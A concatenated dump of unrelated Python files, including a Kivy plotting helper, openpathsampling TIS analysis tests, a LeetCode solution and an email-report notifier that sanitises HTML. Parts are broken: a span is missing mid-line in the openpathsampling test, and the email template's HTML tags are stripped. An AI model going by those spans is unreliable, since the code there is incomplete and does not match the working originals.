on server: {}'.format(len(self.res_widget.data_objects)))\n\n @Inputs.data_table\n def handle_input(self, data):\n # upload file\n self.res.upload_data_table(data)\n # fetch data object and reconstruct data model\n self.res_widget.data_objects = self.res.list_data_objects(self.DATA_TYPE)\n\n def commit(self):\n sel_data_obj = self.res_widget.selected_data_object()\n assert isinstance(sel_data_obj, Data)\n self.Outputs.data_object.send(sel_data_obj)\n\n def sizeHint(self):\n return QSize(900, 600)\n\n\nif __name__ == \"__main__\":\n\n def main(args=None):\n if args is None:\n args = sys.argv\n\n app = QApplication(list(args))\n w = OWResolweDataSets()\n w.show()\n w.raise_()\n rv = app.exec_()\n w.saveSettings()\n w.onDeleteWidget()\n return rv\n\n sys.exit(main())\n","repo_name":"JakaKokosar/orange3-resolwe","sub_path":"orangecontrib/resolwe/widgets/owresolwedatasets.py","file_name":"owresolwedatasets.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39632226588","text":"\"\"\"\r\nArchivo Piloto\r\nPython 3.7.3\r\n\r\nClase Piloto\r\nAtributos:\r\n nombre (string)\r\n edad (int)\r\n nacionalidad (string)\r\n temporada (int)\r\n cant_compet (int)\r\n cant_vict (int)\r\n victorias (int)\r\n cant_destacadas (int)\r\n cant_fallidas (int)\r\n x (int) Marcador para el archivo de texto\r\n\r\nMétodos:\r\n rend_global():\r\n retorna el rendimiento global del piloto\r\n rend_espec():\r\n retorna el rendimiento específico del piloto\r\n\r\n set_nombre(nombre):\r\n E: nombre\r\n S: cambia self.nombre a nombre\r\n R: string\r\n\r\n set_edad(edad):\r\n E: edad\r\n S: cambia self.edad a edad\r\n R: int\r\n\r\n set_nacionalidad(nacionalidad):\r\n E: nacionalidad\r\n S: cambia self.nacionalidad a nacionalidad\r\n R: string\r\n\r\n set_temporada(temporada):\r\n E: temporada\r\n S: cambia self.temporada a temporada\r\n R: int\r\n\r\n set_cant_compet(cant_compet):\r\n E: cant_compet\r\n S: cambia self.cant_compet a cant_compet\r\n R: int\r\n\r\n set_cant_vict(cant_vict):\r\n E: cant_vict\r\n S: cambia self.victorias a cant_vict\r\n R: int\r\n\r\n set_cant_destacadas(destacadas):\r\n E: destacadas\r\n S: cambia self.cant_destacadas a destacadas\r\n R: int\r\n\r\n set_cant_fallidas(fallidas):\r\n E: fallidas\r\n S: cambia self.cant_fallidas a fallidas\r\n R: int\r\n\"\"\"\r\n\r\n\r\nclass Piloto:\r\n def __init__(self, nombre, edad, nacionalidad, temporada, cant_compet, cant_vict, cant_destacadas, cant_fallidas, x):\r\n self.nombre = nombre\r\n self.edad = edad\r\n self.nacionalidad = nacionalidad\r\n self.temporada = temporada\r\n self.cant_compet = cant_compet\r\n self.victorias = cant_vict\r\n self.cant_destacadas = cant_destacadas\r\n self.cant_fallidas = cant_fallidas\r\n self. x = x\r\n\r\n\r\n def rend_global(self):\r\n rgp = (self.cant_destacadas / (self.cant_compet - self.cant_fallidas)) * 100\r\n return rgp\r\n\r\n def rend_espec(self):\r\n rep = (self.victorias / (self.cant_compet - self.cant_fallidas)) * 100\r\n return rep\r\n\r\n def set_nombre(self, nombre):\r\n if isinstance(nombre, str):\r\n self.nombre = nombre\r\n else:\r\n return \"Error\"\r\n\r\n def set_edad(self, edad):\r\n if isinstance(edad, int):\r\n self.edad = edad\r\n else:\r\n return \"Error\"\r\n\r\n def set_nacionalidad(self, nacionalidad):\r\n if isinstance(nacionalidad, str):\r\n self.nacionalidad = nacionalidad\r\n else:\r\n return \"Error\"\r\n\r\n def set_temporada(self, temporada):\r\n if isinstance(temporada, int):\r\n self.temporada = temporada\r\n else:\r\n return \"Error\"\r\n\r\n def set_cant_compet(self, cant_compet):\r\n if isinstance(cant_compet, int):\r\n self.cant_compet = cant_compet\r\n else:\r\n return \"Error\"\r\n\r\n def set_cant_vict(self, cant_vict):\r\n if isinstance(cant_vict, int):\r\n self.victorias = cant_vict\r\n else:\r\n return \"Error\"\r\n\r\n def set_cant_destacadas(self, destacadas):\r\n if isinstance(destacadas, int):\r\n self.cant_destacadas = destacadas\r\n else:\r\n return \"Error\"\r\n\r\n def set_cant_fallidas(self, fallidas):\r\n if isinstance(fallidas, int):\r\n self.cant_fallidas = fallidas\r\n else:\r\n return \"Error\"\r\n","repo_name":"danib08/FormulaE-TEC","sub_path":"Piloto.py","file_name":"Piloto.py","file_ext":"py","file_size_in_byte":3486,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29241063384","text":"\"\"\"\nPrepare training data in numpy format from TH2s.\n\"\"\"\n\nimport os, argparse\nimport uproot\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n\ndef root_to_numpy(filepath, saveloc, plane):\n \"\"\"\n mode = 1: Get truth images (used for training data)\n mode = 2: Get truth images along with masked images (used for test data)\n \"\"\"\n file = uproot.open(filepath)\n\n for idx, key in enumerate(file[\"dec\"][\"Truth\"].keys()):\n z, _ = file[\"dec\"][\"Truth\"][key].numpy()\n\n # print(z.dtype)\n # plt.imshow(z.T, aspect='auto', vmin=-20, vmax=20, cmap='coolwarm')\n # plt.show()\n\n with open(os.path.join(saveloc, \"{}.npy\".format(key[:-2])), \"w\") as f:\n np.save(f, z)\n\n if (idx + 1) % 50 == 0:\n print(\"{}/{}\".format(idx + 1, len(file[\"dec\"][\"Truth\"].keys())))\n\n # if mode == 2:\n # for idx, key in enumerate(file[\"dec\"][\"Truth\"].keys()):\n # # if plane == \"collection\":\n # # if \"TPC10\" in key[:-2]: # No dead wires\n # # continue\n # # elif plane == \"induction\":\n # # if (\"TPC10\" in key[:-2]) and (\"plane1\" in key[:-2]): # No dead wires\n # # continue\n\n # z, xy = file[\"dec\"][\"Truth\"][key].numpy()\n # z_masked, xy_masked = file[\"dec\"][\"Masked\"][key].numpy()\n\n # np.savez(os.path.join(saveloc, \"{}.npz\".format(key[:-2])), z=z, z_masked=z_masked)\n\n # if (idx + 1) % 20 == 0:\n # print(\"{}/{}\".format(idx + 1, len(file[\"dec\"][\"Truth\"].keys())))\n\n\n\ndef main(input_file, output_dir, collection, truth):\n\n # if truth:\n # mode = 1\n # else:\n # mode = 2\n\n if collection:\n plane = \"collection\"\n else:\n plane = \"induction\"\n\n root_to_numpy(input_file, output_dir, plane)\n\n\ndef parse_arguments():\n \n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"input_file\")\n parser.add_argument(\"output_dir\")\n\n group1 = parser.add_mutually_exclusive_group(required=True)\n group1.add_argument(\"--collection\", action='store_true')\n group1.add_argument(\"--induction\", action='store_true')\n\n group2 = parser.add_mutually_exclusive_group(required=True)\n group2.add_argument(\"--truth\", action='store_true', help=\"Get truth images\")\n group2.add_argument(\"--true_mask\", action='store_true', help=\"Get truth images and masked images\")\n\n args = parser.parse_args()\n\n return (args.input_file, args.output_dir, args.collection, args.truth)\n\n\nif __name__ == \"__main__\":\n arguments = parse_arguments()\n main(*arguments)\n","repo_name":"AlexWilkinsonnn/unix_infill","sub_path":"data_reader/pdune_data_prepare.py","file_name":"pdune_data_prepare.py","file_ext":"py","file_size_in_byte":2595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34175400255","text":"import itertools\nimport random\nimport pytest\nfrom nose.tools import assert_equal, assert_almost_equal, raises\nfrom .test_helpers import (make_1d_traj, MoverWithSignature, RandomMDEngine,\n assert_frame_equal, assert_items_equal)\n\nfrom openpathsampling.analysis.tis import *\nfrom openpathsampling.analysis.tis.core import steps_to_weighted_trajectories\nfrom openpathsampling.analysis.tis.flux import default_flux_sort\nimport openpathsampling as paths\n\nimport pandas as pd\nimport pandas.testing as pdt\n\nimport logging\nlogging.getLogger('openpathsampling.initialization').setLevel(logging.CRITICAL)\nlogging.getLogger('openpathsampling.ensemble').setLevel(logging.CRITICAL)\nlogging.getLogger('openpathsampling.storage').setLevel(logging.CRITICAL)\nlogging.getLogger('openpathsampling.netcdfplus').setLevel(logging.CRITICAL)\n\n\ndef make_tis_traj_fixed_steps(n_steps, step_size=0.1, reverse=False):\n if reverse:\n sign = -1\n delta = 1.0\n else:\n sign = 1\n delta = 0.0\n rising = [delta + sign * (-0.5 + i) * step_size\n for i in range(n_steps + 2)]\n falling = list(reversed(rising))[1:]\n return make_1d_traj(rising + falling)\n\n\nclass TestMultiEnsembleSamplingAnalyzer(object):\n # this only has to check the error generation; everything else gets\n # covered by tests of subclasses\n @raises(RuntimeError)\n def test_no_ensembles(self):\n histogrammer = MultiEnsembleSamplingAnalyzer()\n histogrammer.calculate([])\n\n\nclass TISAnalysisTester(object):\n # abstract class to give the same setup to all the test functions\n\n def _make_fake_steps(self, sample_sets, mover):\n steps = []\n for (mccycle, sample_set) in enumerate(sample_sets):\n change = paths.AcceptedSampleMoveChange(\n samples=sample_set.samples,\n mover=mover,\n details=None,\n input_samples=None\n )\n step = paths.MCStep(mccycle=mccycle,\n active=sample_set,\n change=change)\n steps.append(step)\n return steps\n\n def _make_fake_sampling_sets(self, network):\n ensembles_AB = self.sampling_ensembles_for_transition(\n network, self.state_A, self.state_B\n )\n ensembles_BA = self.sampling_ensembles_for_transition(\n network, self.state_B, self.state_A\n )\n\n all_ensembles = ensembles_AB + ensembles_BA\n\n # This encodes how the SampleSets are at each time step. This is the\n # trajectory number (from trajs_AB/trajs_BA) for each ensemble\n # (index order of sampling_AB.ensembles + sampling_BA.ensembles)\n descriptions = [\n [2, 3, 3, 2, 3, 3],\n [1, 2, 3, 1, 2, 3],\n [0, 1, 2, 0, 1, 2],\n [0, 1, 2, 0, 1, 2]\n ]\n\n # here's the fancy fake data\n sample_sets = []\n for descr in descriptions:\n set_trajectories = ([self.trajs_AB[d] for d in descr[:3]]\n + [self.trajs_BA[d] for d in descr[3:]])\n sample_set = paths.SampleSet([\n paths.Sample(trajectory=traj,\n ensemble=ens,\n replica=rep)\n for (traj, ens, rep) in zip(set_trajectories, all_ensembles,\n range(len(all_ensembles)))\n ])\n sample_sets.append(sample_set)\n return sample_sets\n\n def sampling_ensembles_for_transition(self, network, state_A, state_B):\n analysis_AB = network.transitions[(state_A, state_B)]\n sampling_AB = network.analysis_to_sampling[analysis_AB][0]\n return sampling_AB.ensembles\n\n def setup_method(self):\n # set up the trajectories, ensembles, etc. for this test\n self.HAS_TQDM = paths.progress.HAS_TQDM\n paths.progress.HAS_TQDM = False # turn of progress bars\n paths.InterfaceSet._reset()\n cv_A = paths.FunctionCV('Id', lambda s: s.xyz[0][0])\n cv_B = paths.FunctionCV('1-Id', lambda s: 1.0-s.xyz[0][0])\n self.cv_x = cv_A\n self.state_A = paths.CVDefinedVolume(cv_A,\n float(\"-inf\"), 0.0).named(\"A\")\n self.state_B = paths.CVDefinedVolume(cv_B,\n float(\"-inf\"), 0.0).named(\"B\")\n interfaces_AB = paths.VolumeInterfaceSet(cv_A, float(\"-inf\"),\n [0.0, 0.1, 0.2])\n interfaces_BA = paths.VolumeInterfaceSet(cv_B, float(\"-inf\"),\n [0.0, 0.1, 0.2])\n\n # trajectory that crosses each interface, one state-to-state\n self.trajs_AB = [make_tis_traj_fixed_steps(i) for i in [0, 1, 2]]\n self.trajs_AB += [make_1d_traj([(-0.5 + i) * 0.1\n for i in range(12)])]\n\n self.trajs_BA = [make_tis_traj_fixed_steps(i, reverse=True)\n for i in [0, 1, 2]]\n self.trajs_BA += [make_1d_traj([1.0 - (-0.5 + i) * 0.1\n for i in range(12)])]\n\n # set up mistis\n self.mistis = paths.MISTISNetwork([\n (self.state_A, interfaces_AB, self.state_B),\n (self.state_B, interfaces_BA, self.state_A)\n ])\n mover_stub_mistis = MoverWithSignature(self.mistis.all_ensembles,\n self.mistis.all_ensembles)\n\n mistis_ssets = self._make_fake_sampling_sets(self.mistis)\n self.mistis_steps = self._make_fake_steps(mistis_ssets,\n mover_stub_mistis)\n\n self.mistis_weighted_trajectories = steps_to_weighted_trajectories(\n self.mistis_steps,\n self.mistis.sampling_ensembles\n )\n\n # TODO: set up mstis\n self.mstis = paths.MSTISNetwork([\n (self.state_A, interfaces_AB),\n (self.state_B, interfaces_BA)\n ])\n mover_stub_mstis = MoverWithSignature(self.mstis.all_ensembles,\n self.mstis.all_ensembles)\n mstis_ssets = self._make_fake_sampling_sets(self.mstis)\n self.mstis_steps = self._make_fake_steps(mstis_ssets,\n mover_stub_mstis)\n\n self.mstis_weighted_trajectories = steps_to_weighted_trajectories(\n self.mstis_steps,\n self.mstis.sampling_ensembles\n )\n\n\n def teardown_method(self):\n paths.progress.HAS_TQDM = self.HAS_TQDM\n\n\nclass TestWeightedTrajectories(TISAnalysisTester):\n def _check_network_results(self, network, weighted_trajs):\n # works for both MISTIS and MSTIS, since they use equivalent data\n ensembles_AB = self.sampling_ensembles_for_transition(\n network, self.state_A, self.state_B\n )\n ensembles_BA = self.sampling_ensembles_for_transition(\n network, self.state_B, self.state_A\n )\n\n # (ensemble_number, trajectory_number): count\n results = {(0, 0): 2, (0, 1): 1, (0, 2): 1, (0, 3): 0,\n (1, 0): 0, (1, 1): 2, (1, 2): 1, (1, 3): 1,\n (2, 0): 0, (2, 1): 0, (2, 2): 2, (2, 3): 2}\n\n for ((ens, traj), result) in results.items():\n assert_equal(\n weighted_trajs[ensembles_AB[ens]][self.trajs_AB[traj]],\n result\n )\n assert_equal(\n weighted_trajs[ensembles_BA[ens]][self.trajs_BA[traj]],\n result\n )\n\n def test_steps_to_weighted_trajectories(self):\n assert_equal(len(self.mistis_weighted_trajectories),\n len(self.mistis.sampling_ensembles))\n self._check_network_results(self.mistis,\n self.mistis_weighted_trajectories)\n\n assert_equal(len(self.mstis_weighted_trajectories),\n len(self.mstis.sampling_ensembles))\n self._check_network_results(self.mstis,\n self.mstis_weighted_trajectories)\n\n\nclass TestFluxToPandas(TISAnalysisTester):\n # includes tests for default_flux_sort and flux_matrix_pd\n # as a class to simplify setup of flux objects\n def setup_method(self):\n super(TestFluxToPandas, self).setup_method()\n interfaces_A = self.mstis.from_state[self.state_A].interfaces\n interfaces_B = self.mstis.from_state[self.state_B].interfaces\n pairs_A = list(itertools.product([self.state_A], interfaces_A))\n pairs_B = list(itertools.product([self.state_B], interfaces_B))\n # note that this gives the canonical order we desire\n self.all_pairs = pairs_A + pairs_B\n self.default_ordered_results = [\n ((self.state_A, interfaces_A[0]), 10.0),\n ((self.state_A, interfaces_A[1]), 5.0),\n ((self.state_A, interfaces_A[2]), 2.0),\n ((self.state_B, interfaces_B[0]), 1.0),\n ((self.state_B, interfaces_B[1]), 0.5),\n ((self.state_B, interfaces_B[2]), 0.2)\n ]\n shuffled_fluxes = self.default_ordered_results[:]\n random.shuffle(shuffled_fluxes)\n self.fluxes = {key: value for (key, value) in shuffled_fluxes}\n self.indices = [\n (\"A\", \"-infB 2', 'B->A 2']\n mstis_interfaces = ['Out A 2', 'Out B 2']\n\n expected_mistis = pd.DataFrame(data=expected_data,\n index=mistis_interfaces,\n columns=states)\n mistis_ctp = self.mistis_analysis.conditional_transition_probability\n assert_equal(set(states), set(mistis_ctp.columns))\n assert_equal(set(mistis_interfaces), set(mistis_ctp.index))\n for iface in mistis_interfaces:\n for state in states:\n assert_equal(expected_mistis.loc[(iface, state)],\n mistis_ctp.loc[(iface, state)])\n\n expected_mstis = pd.DataFrame(data=expected_data,\n index=mstis_interfaces,\n columns=states)\n mstis_ctp = self.mstis_analysis.conditional_transition_probability\n assert_equal(set(states), set(mstis_ctp.columns))\n assert_equal(set(mstis_interfaces), set(mstis_ctp.index))\n for iface in mstis_interfaces:\n for state in states:\n assert_equal(expected_mstis.loc[(iface, state)],\n mstis_ctp.loc[(iface, state)])\n\n def test_total_crossing_probability(self):\n results = {0.0: 1.0, 0.1: 0.5, 0.2: 0.25, 0.3: 0.125,\n 0.5: 0.125, 1.0: 0.125}\n\n mistis_tcp = self.mistis_analysis.total_crossing_probability\n for transition in self.mistis.transitions.values():\n tcp = mistis_tcp[transition]\n for x in results:\n assert_almost_equal(results[x], tcp(x))\n\n mstis_tcp = self.mstis_analysis.total_crossing_probability\n for transition in self.mstis.transitions.values():\n tcp = mstis_tcp[transition]\n for x in results:\n assert_almost_equal(results[x], tcp(x))\n\n @raises(TypeError)\n def test_bad_no_flux(self):\n network = self.mistis\n StandardTISAnalysis(\n network=network,\n max_lambda_calcs={t: {'bin_width': 0.1,\n 'bin_range': (-0.1, 1.1)}\n for t in network.sampling_transitions}\n )\n\n @raises(RuntimeError)\n def test_bad_max_lambda_calcs(self):\n network = self.mistis\n StandardTISAnalysis(\n network=network,\n flux_method=DictFlux({(t.stateA, t.interfaces[0]): 0.1\n for t in network.sampling_transitions})\n )\n\n def test_init_ensemble_histogrammer_max_lambda(self):\n network = self.mistis\n max_lambda_calcs = {\n t: FullHistogramMaxLambdas(\n transition=t,\n hist_parameters={'bin_width': 0.1, 'bin_range': (-0.1, 1.1)}\n )\n for t in network.sampling_transitions\n }\n tis_analysis = StandardTISAnalysis(\n network=network,\n flux_method=DictFlux({(t.stateA, t.interfaces[0]): 0.1\n for t in network.sampling_transitions}),\n max_lambda_calcs=max_lambda_calcs,\n steps=self.mistis_steps\n )\n rate = tis_analysis.rate_matrix()\n pairs = [(self.state_A, self.state_B), (self.state_B, self.state_A)]\n for (vol_1, vol_2) in pairs:\n assert_almost_equal(rate[(vol_1, vol_2)], 0.0125)\n\n def test_with_minus_move_flux(self):\n network = self.mstis\n scheme = paths.DefaultScheme(network, engine=RandomMDEngine())\n scheme.build_move_decision_tree()\n\n # create the minus move steps\n # `center` is the edge of the state/innermost interface\n center = {self.state_A: 0.0, self.state_B: 1.0}\n replica = {self.state_A: -1, self.state_B: -2}\n minus_ensemble_to_mover = {m.minus_ensemble: m\n for m in scheme.movers['minus']}\n state_to_minus_ensemble = {ens.state_vol: ens\n for ens in network.minus_ensembles}\n minus_changes = []\n # `delta` is the change on either side for in vs. out\n for (state, delta) in [(self.state_A, 0.1), (self.state_B, -0.1)]:\n minus_ens = state_to_minus_ensemble[state]\n minus_mover = minus_ensemble_to_mover[minus_ens]\n a_in = center[state] - delta\n a_out = center[state] + delta\n # note that these trajs are equivalent to minus move\n # descriptions in TestMinusMoveFlux\n seq_1 = [a_in] + [a_out]*2 + [a_in]*5 + [a_out]*5 + [a_in]\n seq_2 = [a_in] + [a_out]*3 + [a_in]*3 + [a_out]*3 + [a_in]\n\n for seq in [seq_1, seq_2]:\n traj = make_1d_traj(seq)\n assert_equal(minus_ens(traj), True)\n samp = paths.Sample(trajectory=traj,\n ensemble=minus_ens,\n replica=replica[state])\n _ = paths.SampleSet([samp])\n change = paths.AcceptedSampleMoveChange(\n samples=[samp],\n mover=minus_mover,\n details=paths.Details()\n )\n minus_changes.append(change)\n\n active = self.mstis_steps[0].active\n steps = []\n cycle = -1\n for m_change in minus_changes:\n cycle += 1\n active = active.apply_samples(m_change.samples)\n step = paths.MCStep(mccycle=cycle,\n active=active,\n change=m_change)\n steps.append(step)\n for old_step in self.mstis_steps[1:]:\n cycle += 1\n active = active.apply_samples(old_step.change.samples)\n step = paths.MCStep(mccycle=cycle,\n active=active,\n change=old_step.change)\n steps.append(step)\n\n analysis = StandardTISAnalysis(\n network=self.mstis,\n scheme=scheme,\n max_lambda_calcs={t: {'bin_width': 0.1,\n 'bin_range': (-0.1, 1.1)}\n for t in network.sampling_transitions},\n steps=steps\n )\n\n # now we actually verify correctness\n avg_t_in = (5.0 + 3.0) / 2\n avg_t_out = (2.0 + 5.0 + 3.0 + 3.0) / 4\n expected_flux = 1.0 / (avg_t_in + avg_t_out)\n\n # NOTE: Apparently this approach screws up the TCP calculation. I\n # think this is a problem in the fake data, not the simulation.\n for flux in analysis.flux_matrix.values():\n assert_almost_equal(flux, expected_flux)\n\n @pytest.mark.parametrize('progress', ['all', 'default', 'none',\n 'tqdm', 'silent'])\n def test_progress_setter(self, progress):\n analysis = self.mstis_analysis\n analysis.progress = progress\n expected_flux, expected_ctp, expected_max_lambda = {\n 'all': (True, True, True),\n 'default': (True, True, False),\n 'none': (False, False, False),\n 'tqdm': (True, True, False),\n 'silent': (True, True, False),\n }[progress]\n flux_method = analysis.flux_method\n assert flux_method.progress.keywords['leave'] is expected_flux\n ctp_method = analysis.ctp_method\n assert ctp_method.progress.keywords['leave'] is expected_ctp\n max_lambda_methods = [tcp.max_lambda_calc\n for tcp in analysis.tcp_methods.values()]\n for max_lambda in max_lambda_methods:\n prog = max_lambda.progress\n assert prog.keywords['leave'] is expected_max_lambda\n\n\n\n\n","repo_name":"openpathsampling/openpathsampling","sub_path":"openpathsampling/tests/test_tis_analysis.py","file_name":"test_tis_analysis.py","file_ext":"py","file_size_in_byte":48655,"program_lang":"python","lang":"en","doc_type":"code","stars":94,"dataset":"github-code","pt":"78"} +{"seq_id":"22961538012","text":"\"\"\"\nhttps://leetcode.com/problems/find-the-highest-altitude/\n\nThere is a biker going on a road trip. The road trip \nconsists of n + 1 points at different altitudes. The \nbiker starts his trip on point 0 with altitude equal 0.\n\nYou are given an integer array gain of length n where \ngain[i] is the net gain in altitude between points \ni and i + 1 for all (0 <= i < n). \nReturn the highest altitude of a point.\n\nExample 1:\nInput: gain = [-5,1,5,0,-7]\nOutput: 1\nExplanation: The altitudes are [0,-5,-4,1,1,-6]. \nThe highest is 1.\n\nExample 2:\nInput: gain = [-4,-3,-2,-1,4,3,2]\nOutput: 0\nExplanation: The altitudes are [0,-4,-7,-9,-10,-6,-3,-1]. \nThe highest is 0.\n\nConstraints:\nn == gain.length\n1 <= n <= 100\n-100 <= gain[i] <= 100\n\"\"\"\nfrom typing import List\nfrom itertools import accumulate\n\n\ndef prefix_sum(nums: List[int]) -> int:\n # Time complexity: O(n²)\n # Space complexity: O(1)\n\n curr_height, n = nums[0], len(nums)\n max_gain = max(curr_height, 0)\n for i in range(1, n):\n curr_height += nums[i]\n max_gain = max(max_gain, curr_height)\n\n return max_gain\n\n\ndef prefix_sum2(nums: List[int]) -> int:\n # Time complexity: O(n)\n # Space complexity: O(n)\n return max(max(accumulate(nums)), 0)\n\n\nif __name__ == \"__main__\":\n print(\"-\" * 60)\n print(\"Find the highest altitude\")\n print(\"-\" * 60)\n\n test_cases = [\n # (gain, solution)\n ([1], 1),\n ([-2], 0),\n ([1, 2], 3),\n ([-1, 4, -2, -5, 3], 3),\n ([-5, 1, 5, 0, -7], 1),\n ([-4, -3, -2, -1, 4, 3, 2], 0),\n ([-4, -3, -2, -1, 4, -3, 2], 0),\n ]\n\n for nums, solution in test_cases:\n\n print(\"Gain:\", nums)\n\n result = prefix_sum(nums)\n output = \" prefix_sum = \"\n output += str(result)\n output += \" \" * (60 - len(output))\n test_ok = result == solution\n output += f'Test: {\"OK\" if test_ok else \"NOT OK\"}'\n print(output)\n\n result = prefix_sum2(nums)\n output = \" prefix_sum2 = \"\n output += str(result)\n output += \" \" * (60 - len(output))\n test_ok = result == solution\n output += f'Test: {\"OK\" if test_ok else \"NOT OK\"}'\n print(output)\n\n print()\n","repo_name":"daalgi/algorithms","sub_path":"arrays/find_highest_altitude.py","file_name":"find_highest_altitude.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"44528096594","text":"import matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nfrom matplotlib import style\nimport random\nimport _thread\nimport time\nfrom io import BytesIO\nfrom kivy.lang.builder import Builder\nfrom kivy.uix.widget import Widget\nfrom kivy.graphics.texture import Texture\nfrom kivy.uix.image import Image\nfrom kivy.uix.floatlayout import FloatLayout\nfrom kivy.graphics import Color, Rectangle\nfrom kivy.core.image import Image as CoreImage\nfrom kivy.clock import Clock\n\nclass myFastPlotWidget(FloatLayout):\n imgTexture = Texture.create(size=(512, 512), colorfmt='RGB',\nbufferfmt='ubyte')\n \n def __init__(self, **ka):\n super(myFastPlotWidget,self).__init__(*ka)\n self.pos = [0,0]\n self.size = [512,512]\n \n self.canvas.add(Rectangle(\n texture=self.imgTexture,\n size=(512,512),\n pos=(0,0)\n ))\n \n \nclass myFastPlot:\n def __init__(self,\n callBacksForData = [], # need to return x,y\n interval = 1000,\n inBuffer = False\n ):\n \n self.cbfd = callBacksForData\n self.interval = interval\n \n if inBuffer:\n self.fig = None\n self.ax1 = None\n \n def initGui(self,gui):\n print(\"layoutMyFastPlot...\")\n Builder.load_file('layoutMyFastPlot.kv')\n \n \n def getWidgetInstance(self):\n self.w = myFastPlotWidget()\n return self.w\n \n def iterOnData(self,i):\n #print(\"myFastPlot iterOnData\",i)\n self.ax1.clear()\n for c in self.cbfd:\n #print(\"c type ->\",type(c))\n self.ax1.plot( *c(), label=str(c.__name__) )\n \n self.ax1.legend()\n \n \n def runBuffMode(self,obj):\n self.objToActOn = obj \n Clock.schedule_once(self.on_makeBuffIter,self.interval/1000.0)\n \n def on_makeBuffIter(self, a=0):\n self.makeBuffAction(self.objToActOn)\n Clock.schedule_once(self.on_makeBuffIter,self.interval/1000.0)\n\n \n def makeBuffAction(self,obj):\n obj.clear_widgets()\n buf = self.getBytesBuffer()\n ic = CoreImage(buf, ext=\"png\", filename=(\"%simage.png\"%random.random()))\n img = Image(\n #size_hint = [None,None],\n texture=ic.texture,\n #size = ic.size,\n pos=[0,0],\n keep_ratio = True\n )\n obj.add_widget(img)\n \n \n def getBytesBuffer(self):\n if self.fig == None:\n self.fig = plt.figure()\n self.ax1 = self.fig.add_subplot(1,1,1)\n \n \n self.iterOnData(-1)\n buf = BytesIO()\n plt.savefig(buf, format='png')\n #print(\"from file 2\",buf.__sizeof__(),buf.closed)\n buf.seek(0)\n #plt.savefig('/tmp/figg.png',format='png')\n return buf\n \n def run(self):\n _thread.start_new_thread( self.runIt, () )\n \n \n def runIt(self): \n self.fig = plt.figure()\n self.ax1 = self.fig.add_subplot(1,1,1)\n self.ani = animation.FuncAnimation(self.fig,self.iterOnData,interval=self.interval)\n plt.show()\n \n\n\ndef anim():\n xs1 = []\n ys1 = []\n for d in range(10):\n xs1.append(d)\n ys1.append(random.randrange(0,10))\n ys1[0] = 0.0\n return xs1,ys1\n\ndef anim2():\n xs1 = []\n ys1 = []\n for d in range(10):\n xs1.append(d-20)\n ys1.append(random.randrange(0,10))\n ys1[0] = 0.0\n return xs1,ys1\n \nif __name__ == \"__main__\":\n print(\"run as test instance\")\n g = myFastPlot( [anim,anim2] )\n g.run()\n print(\"myFastPlot DONE\")\n \n while 1:\n time.sleep(1)\n\n ","repo_name":"yOyOeK1/oiyshTerminal","sub_path":"OTPIPS/ot_my_libs/src/ot_my_libs/myFastPlot.py","file_name":"myFastPlot.py","file_ext":"py","file_size_in_byte":3673,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"} +{"seq_id":"19395797885","text":"import json\nimport logging\nfrom dataclasses import dataclass\nfrom email.utils import make_msgid, parseaddr\nfrom typing import Any, Dict, Optional\n\nimport bleach\nfrom flask_babel import gettext as __\n\nfrom spotrix import app\nfrom spotrix.models.reports import ReportRecipientType\nfrom spotrix.reports.notifications.base import BaseNotification\nfrom spotrix.reports.notifications.exceptions import NotificationError\nfrom spotrix.utils.core import send_email_smtp\n\nlogger = logging.getLogger(__name__)\n\nTABLE_TAGS = [\"table\", \"th\", \"tr\", \"td\", \"thead\", \"tbody\", \"tfoot\"]\n\n\n@dataclass\nclass EmailContent:\n body: str\n data: Optional[Dict[str, Any]] = None\n images: Optional[Dict[str, bytes]] = None\n\n\nclass EmailNotification(BaseNotification): # pylint: disable=too-few-public-methods\n \"\"\"\n Sends an email notification for a report recipient\n \"\"\"\n\n type = ReportRecipientType.EMAIL\n\n @staticmethod\n def _get_smtp_domain() -> str:\n return parseaddr(app.config[\"SMTP_MAIL_FROM\"])[1].split(\"@\")[1]\n\n @staticmethod\n def _error_template(text: str) -> str:\n return __(\n \"\"\"\n Error: %(text)s\n \"\"\",\n text=text,\n )\n\n def _get_content(self) -> EmailContent:\n if self._content.text:\n return EmailContent(body=self._error_template(self._content.text))\n # Get the domain from the 'From' address ..\n # and make a message id without the < > in the end\n image = None\n csv_data = None\n domain = self._get_smtp_domain()\n msgid = make_msgid(domain)[1:-1]\n\n # Strip any malicious HTML from the description\n description = bleach.clean(self._content.description or \"\")\n\n # Strip malicious HTML from embedded data, allowing only table elements\n if self._content.embedded_data is not None:\n df = self._content.embedded_data\n html_table = bleach.clean(\n df.to_html(na_rep=\"\", index=False), tags=TABLE_TAGS\n )\n else:\n html_table = \"\"\n\n body = __(\n \"\"\"\n

    %(description)s

    \n Explore in Superset

    \n %(html_table)s\n %(img_tag)s\n \"\"\",\n description=description,\n url=self._content.url,\n html_table=html_table,\n img_tag=''.format(msgid)\n if self._content.screenshot\n else \"\",\n )\n if self._content.screenshot:\n image = {msgid: self._content.screenshot}\n if self._content.csv:\n csv_data = {__(\"%(name)s.csv\", name=self._content.name): self._content.csv}\n return EmailContent(body=body, images=image, data=csv_data)\n\n def _get_subject(self) -> str:\n return __(\n \"%(prefix)s %(title)s\",\n prefix=app.config[\"EMAIL_REPORTS_SUBJECT_PREFIX\"],\n title=self._content.name,\n )\n\n def _get_to(self) -> str:\n return json.loads(self._recipient.recipient_config_json)[\"target\"]\n\n def send(self) -> None:\n subject = self._get_subject()\n content = self._get_content()\n to = self._get_to()\n try:\n send_email_smtp(\n to,\n subject,\n content.body,\n app.config,\n files=[],\n data=content.data,\n images=content.images,\n bcc=\"\",\n mime_subtype=\"related\",\n dryrun=False,\n )\n logger.info(\"Report sent to email\")\n except Exception as ex:\n raise 